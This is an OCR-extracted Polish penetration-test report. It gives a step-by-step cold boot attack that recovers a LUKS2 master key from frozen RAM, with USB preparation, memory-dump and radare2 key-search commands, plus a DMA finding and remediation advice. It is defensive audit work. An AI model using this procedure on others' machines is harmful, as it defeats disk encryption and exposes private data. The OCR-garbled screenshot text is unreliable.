Made in Korea M471A5244CB0 - CWE

Sam laptop jest wyposazony w dwa banki na pamie¢ DDR4-SODIMM, a ko$¢ zostata umieszczona w gérnym
banku, aby zapewni¢ lepszy dostep do pamieci w trakcie ataku:

382 www.securitum.pl

@securitum.p www.sekurak.pl
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Komputer jest wyposazony w klasyczny BIOS, a nie UEFI. UEFI domyslnie w swoim standardzie wspiera
funkcje, ktéra na wczesnym etapie rozruchu wypetnia pamie¢ RAM losowymi danymi, aby utrudnic¢
przeprowadzenie takiego ataku. Nie wyklucza to jednak scenariusza, w ktérym atakujacy mogtby przeniesc
zamrozona pamie¢ do innego komputera, ktory takiego zabezpieczenia nie ma.

W testowanym przypadku szyfrowanie dysku zostato ustawione z uzyciem LUKS2, wykorzystujac hasto. Cojest
znacznie bezpieczniejszym rozwiazaniem niz obecnie zaimplementowana konfiguracja z automatycznym
odblokowywaniem dysku. Pomimo najbezpieczniejszych ustawien w testowym urzadzeniu, udato sie
pozyskac klucz Master Key z pamieci RAM urzadzenia.

WARUNKI NIEZBEDNE DO WYKORZYSTANIA PODATNOSCI

Fizyczny dostep do maszyny docelowej. Komputer musi by¢ odblokowany (po odszyfrowaniu, ale na ekranie
logowania) lub miec opcje automatycznego deszyfrowania dysku.

SZCZEGOLY TECHNICZNE (PROOF OF CONCEPT)

W celu przyspieszenia ataku zatozono znajomo$¢ Master Key wykorzystywanego do deszyfrowania dysku.
Mozna go uzyskac za pomoca ponizszej komendy w terminalu:

# cryptsetup luksDump --dump-master-key /dev/sda4

s . §2 A
ump-master-key /dev/sda4

ar-CEED
>Cr=-LGEd2

-6QC: /S sudo cryptsetup luksDump --d
WARNING!
The header dump with volume key

that allows access to encr
E yp
This dump should be stored e

o is sensitive information
ed partition without a passphras
ncrypted in a safe place e a0

Are you sure? (Type B T
Enter passphrase for /dev/sdas:

pital letters): YEs

LUKS header information for /d

C?pher name: aes it
Cipher mode: xts-plain64

Payload offset: 32768

UUID: 3cd2 i
" bite: z6s 2605 9215-4f39-ae42-267Sa389678f

MK dump:
mp zz gg e? ;g 26 6a 01 8f be 9d 41 ef 73 be 51 61
c 2 c7 39 96 12 @b 6b 2f
7b 12 6f 57 @e 6¢c b2 e S
83 59 18 74 94 ab 7f
1c b6 01 f7 od il
user@user-GE62-(0C: /S <sudn Amrﬁf?_sg_?} i c? as 75103 du 71 62
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Krok 1. Przygotowanie

Do przeprowadzenia ataku wymagane sg nastepujace komponenty:

e Drugi komputer z system Linux (najlepiej Ubuntu 22.04) z zainstalowanym oprogramowaniem
Radare2

sudo snap install radare2 --classic

e Zestaw narzedzi potrzebnych do otwarcia obudowy komputera.

e Pendrive, ktéry ma dwukrotnie wiecej pamieci niz pamie¢ RAM komputera docelowego.

e Dwie puszkisprezonego powietrza z rurka do kierowania strumienia (powinna by¢ w zestawie). Mozna
je naby¢ w wiekszosci sklepdw z elektronika.

W celu przygotowania bootowalnego pendrive’a nalezy wykonac ponizsze kroki:

1. Pobrac archiwum bios_memimage64.zip i rozpakowac:

wget https://github.com/baselsayeh/coldboot-tools/releases/download/2/bios_memimage64.zip
unzip bios_memimage64.zip
cd bios_memimage64

2. Wegraé Master Boot Record na urzadzenie:

sudo dd if=grldr.mbr of=/dev/sdb conv=notrunc

3. Utworzy¢ dwie partycje:

sudo fdisk /dev/sdb
n

[ENTER]

[ENTER]

+1G

n

[ENTER]

[ENTER]

+16G

w

vV VvV VvV VvV V VvV V VvV Vv

4. Sformatowad pierwsza partycje:

sudo mkfs.fat /dev/sdbl

5. Zamontowac partycje:

‘sudo mount /dev/sdbl /media/usb

6. Skopiowac zawartosc folderu bios_memimage64 na pierwsza partycje:

‘ sudo cp * /media/usb/

7. Odmontowac partycje

‘sudo umount /media/usb

Teraz pendrive jest przygotowany do przeprowadzenia ataku. Znajduje sie na nim program, ktory zrzuci
zawartos¢ wszystkich zidentyfikowanych segmentéw pamieci fizycznej. Zostanie on uruchomiony
automatycznie po 5 sekundach.

secunTum



Jezeli to mozliwe, przed przystapieniem do ataku warto sprawdzi¢ kolejnos¢ bootowania na komputerze,
z ktérego bedziemy wykonywac zrzut.

Krok 2. Przeprowadzenie ataku

W momencie, gdy atakujacy jest w posiadaniu komputera z odblokowanym dyskiem musi on zadbac
o odpowiednig ostroznos¢, aby nie spowodowac przypadkiem ponownego uruchomienia:

1. Podtaczyc przygotowanego Pendrive’a.
2. Ostroznie otworzy¢ obudowe i zlokalizowad pamiec¢ RAM.
3. Przygotowac puszki ze sprezonym powietrzem:

4, Psikac sprezonym powietrzem prosto w kosci RAM trzymajac puszke do gory nogami.
5. Wykonywac te czynno$¢, az kosci beda pokryte szronem. Mozna sprébowac normalnie dmuchnac
powietrzem, aby sie ujawnit:

Yilizza2320030013

‘ www.securitum.pl

sekurak.pl
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Kontynuowac zamrazanie i w miedzy czasie odtaczy¢ zasilanie.
Szybko podtaczyc zasilanie i wigczy¢ komputer.
W tym momencie mozna przesta¢ zamrazac pamiec. Teraz jego zawarto$¢ jest podtrzymywana przez
kontroler pamieci.

9. Jezeli to wymagane wejs¢ do BIOSu i zmieni¢ kolejnos¢ bootowania lub zbootowad poprzez Boot
Menu.

Po chwili powinien uruchomic sie bootloader GRUB4DOS, ktory rozpocznie proces zrzutu pamieci fizycznej.
Dane zostang zapisane na drugiej partycji, ale nie w formie pliku. Oprogramowanie wykonujace zrzut traktuje
druga partycje jako wskaznik do miejsca, gdzie znajduje sie przestrzen z przeznaczeniem na przechowanie
danych. Partycja ta nie jest sformatowana. Proces ten w zaleznosci od pojemnosci pamieci moze potrwac kilka
minut.

GRUB4D0OS 0.4 .6a 2019-12-30, Mem: 638K-/3518M/1483M, End: 3689D4

PDump the ram (64-bit Halt)

Dump the ram (64-bit Reboot)

——— INFORMATION: 64-bit CPU ——-

Dump the ram - max. 4GB (32-bit Halt)
Dump the ram - max. 4GB (32-bit Reboot)
commandline

reboot

halt

UUse the T and ! keys to highlight an entry. Press ENTER or 'b’ to boot.

] s ]

Press e’ to edit the commands before booting, or "¢’ for a command-line.

Wynikiem zrzutu bedzie obraz pamieci fizycznej. Pamie¢ bedzie podzielona na wiele stron po 4 KiB (4096
bajtéw), z pewnymi wyjatkami. Strony sasiadujace ze soba beda sie odnosity do réznych proceséw, a co za
tym idzie do réznych przestrzeni wirtualnych. Zadaniem atakujacego bedzie ztozenie tego w jedna catosé.

Krok 3. Analiza zrzutu pamieci

Ostatnim krokiem catego ataku jest analiza pamieci. Zostanie do tego wykorzystany framework do analizy
i manipulacji kodu binarnego, wykorzystywany do reverse engineeringu — radare2 oraz pakiet narzedzi do
analizy pamieci systemowej — volatility. W ten sposéb mozna zautomatyzowac caty proces i skorzystac
z gotowych regut.

1. Nalezy rozpoczac od podtgczenia pendrive’a i pobrania zebranych danych do pliku:

‘sudo dd if=/dev/sdb2 of=ram.img bs=512 status=progress

2. Nastepnie uruchomié program radare2 wskazujac plik z danymi:

‘ radare2 -n ram.img



3. Do odnalezienia wtasciwych danych wykorzystano fakt znajomosci klucza (w innym przypadku
nalezatoby wykorzysta¢ gotowe narzedzia do analizy zrzutow pamieci np. Volatility):

/x 9484e834a6

user@user-Thin-GF63-12UC: ~

user@user-Thin-GF63-12UC: ~ user@user-Thin-GF63-12UC: ~

> [x 9484e834a6
Searchlng 5 bytes in [0x0-0x3f41dc000]
[# ]7COx105bd7f00 < Ox3f41dcOOO hits = 2

hits: 2

0x7707fel0 hitl_0 9484e834a6

0X7707ff 0 hitl_1 9484e834a6
6 DY ﬂnv77ﬁ7Fe1ﬁ

Fﬂ!ﬂﬂﬂiﬂl@ﬁﬂﬂa
e8 018f e9d
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4. W analizowanym zrzucie pierwsza potowa klucza znajduje sie w innym miejscu w pamieci niz druga.
Moze to by¢ celowy zabieg majacy na celu utrudnienia odnalezienia kluczy lub przypadek wynikajacy
z rozbieznos¢ miedzy pamiecig wirtualng a fizyczna (wyjasnienie dalej). Z tego powodu, nalezy
odnalez¢ rowniez druga potowe:

/x 7b126f570e6cb283

user@user-Thin-GF63-12UC: ~

user@user-Thin-GF63-12UC: ~ user@user-Thin-GF63-12UC: ~

> [/x 7b126f570e6cb283
Searching 8 bytes in [0x0-0x3f41dc000]
[# ]7COX2ccffbfO < 0x3f41dcOOO hits = 2

hits: 2
0x7707fc20 hit3_0 7b126f570e6cb283
0x7707fdf@ hit3_1 7b126f570e6cb283
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Wykorzystujgc zdobyte dane, mozemy skonstruowac peten Master Key, a nastepnie odszyfrowac dysk.
Odlegtos¢ w bajtach miedzy pierwsza potowa, a drugg potowa jest rowna exiFe.

Ponizej przedstawiono przyktadowy proces pozyskiwania kluczy:

1. Identyfikacja proceséw znajdujacych sie w pamieci np. poprzez wyszukiwanie charakterystycznych
wartosci pol struktury task_struct, ktore reprezentuje proces w pamieci.

https://github.com/torvalds/linux/blob/master/include/linux/sched.h#L748

2. Wyszukanie tablicy stron, aby odtworzy¢ przestrzen pamieci wirtualnej procesu. Specjalna struktura
znajduje sie wewnatrz task_struct i nazywa sie mm_struct.

https://github.com/torvalds/linux/blob/master/include/1linux/sched.h#L880

3. Przeszukanie przestrzeni pamieci wirtualnej procesu/demona LUKS, ktéry przechowuje Master Key.
4. Atakujacy moze wykonac inzynierie wsteczng LUKS/Cryptsetup, aby odnalezé charakterystyczne
cechy struktur Master Key i przeskanowac zawezony obszar pamieci.

Cho¢ w zrzucie (pamieci fizycznej) potowki klucza znajdujg w réznych miejscach to nie oznacza, ze
w przestrzeni wirtualnej te dane miaty inny adres. System operacyjny przydzielajac pamiec zapewnia ciagtos¢
danej przestrzeni pamieci tylko w kontekscie przestrzeni wirtualnej. Jezeli dwie strony pamieci procesu
znajduja sie na przyktad na adresach Ox1 oraz 0x2 to nie znaczy, ze w pamieci fizycznej beda ze soba
sasiadowaty. Moga by¢ od siebie oddalone nawet o kilka gigabajtow.

LOKALIZACIA

Konfiguracja bankéw PCR.

REKOMENDACJA

Zaleca sie stosowac platforme z UEFI, ktéra ma wytaczony Fast Boot, posiada mechanizm Memory Data
Scrambling, aby zapewni¢ czyszczenie pamieci RAM przy starcie. Zminimalizuje to ataki typu Cold Boot
poprzez wymazanie poufnych danych. Konieczne jest rowniez ustawienie hasta do UEFI, ktore spetnia
ponizsze wymagania:

e conajmniej 20 znakdw,
e zawiera mate i wielkie litery, cyfry oraz znaki specjalne,
e niezawiera fraz kluczowych zwigzanych z firma (np. nazwa, pracownicy).

W ten sposob przy rozruchu, poufne dane zostana nadpisane. Aby uchronic sie przed atakiem polegajacym na
przeniesieniu zamrozonej pamieci RAM do innej maszyny warto rozwazy¢ platforme, ktéra ma wlutowany RAM
na ptycie gtéwne;j.
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[MEDIUM] SECURITUM-24989-003: Brak ochrony przed atakami Direct
Memory Access w momencie bootowania

(0]

Domyslna konfiguracja GRUB’a nie przewiduje ochrony przed atakami typu Direct Memory Access. Atak ten
polega na podtaczeniu ztosliwego urzadzenia poprzez magistrale PCl Express, ktore przeskanuje cata pamiec
fizyczng w poszukiwaniu klucza szyfrowania. Jest to funkcja magistrali PCle, ktéra w oryginalnym zamysle
twércow miata na celu przyspieszenie dziatania urzadzen i mozliwosc¢ bezposredniej komunikacji miedzy nimi,
ale moze ona zostac¢ wykorzystana w sposob ztosliwy.

Uwagi: ze wzgledu na ograniczony dostep takich urzadzen, nie udato sie przygotowac dziatajacego Proof of

concept.

WARUNKI NIEZBEDNE DO WYKORZYSTANIA PODATNOSCI

Fizyczny dostep do maszyny docelowe;.

LOKALIZACIA

Konfiguracja GRUBa.

REKOMENDACIA

Zaleca sie dodanie parametrow amd_iommu=on iommu=pt do Kernela w pliku konfiguracyjnym
/boot/grub/grub.cfg:

I+1 user@user-Thin-GF63-12UC: ~

GNU nano 6.2 boot/grub/grub.cfg *

set linux_gfx_mode=text
ik
else
set linux_gfx_mode=keep

set linux_gfx_mode=text
Tl
export linux gfx mode
menuentry 'Ubuntu')--class ubuntu --class gnu-linux --class gnu --class os Smenuentry_id_option 'gnulinux—simple-c@?@adaz-e984—4i
recordfail
load_video
gfxmode Slinux_gfx_mode
insmod gzie
if [ xSgrub_platform = xxen ]; then insmod xzio; insmod lzopilo; fi
insmod part_gpt
insmod ext2
set root='hdo,gpt2’
if [ x$feature_platform_search_hint = xy ]; then
search --no-floppy --fs-uuid --set=root --hint-blos=hd®,gpt2 --hint-efi=hde,gpt2 --hint-baremetal=ahci®,gpt2 ce70ada2f
else
search --no-floppy --fs-uuid --set=root c®70ada2-e984-4003-85ac-50eff7c412b6
fi
Linux /boot/vmlinuz-6.5.0-17-generic root=UUID=c®70adaz2-e984-4003-85ac-50efT7c412b6 roljifdIIgY quiet splash svt_nann'o
uniira JOOOL/LNLLIU. LFY-0.2.0-4/-geliel C

'Advanced options for Ubuntu' $menuentry_id_option 'gnulinux-advanced-c@70ada2-e984-4003-85ac-50eff7c412b6' {
menuentry 'Ubuntu, with Linux 6.5.0-17-generic' --class ubuntu --class gnu-linux --class gnu --class os Smenuentry_id_opf
recordfatil
load_video
gfxmode $1inux_gfx_mode
insmod gzio
if [ xSgrub_platform = xxen ]; then insmod xzio; insmod lzopio; fi

e Help WY Write Out WY Where Is By Cut §ll Execute B8 Location SR Undo M- AT L ET S
Rl Exit Wi Read File M Replace WY Paste &8 Justify Wi Go To Line uMd Redo KSs Copy




Dzieki temu GRUB na etapie wczesnego etapu bootowania zainicjalizuje rozszerzenie procesora (Intel VT-d,
lub AMD 1/O Virtualization Technology). Rozszerzenia te zapewniaja sprzetowe wsparcie dla ochrony
komputera przez ztosliwymi urzadzeniami w magistrali PCI-Express. Od tego momentu urzadzenia bede miat

dostep tylko do przydzielonych adreséw.

W przypadku wykorzystania dyskow z interfejsem NVMe (technicznie jest to PCI-Express) moze wystapic

problem z dostepem do dysku na wczesnym etapie rozruchu.
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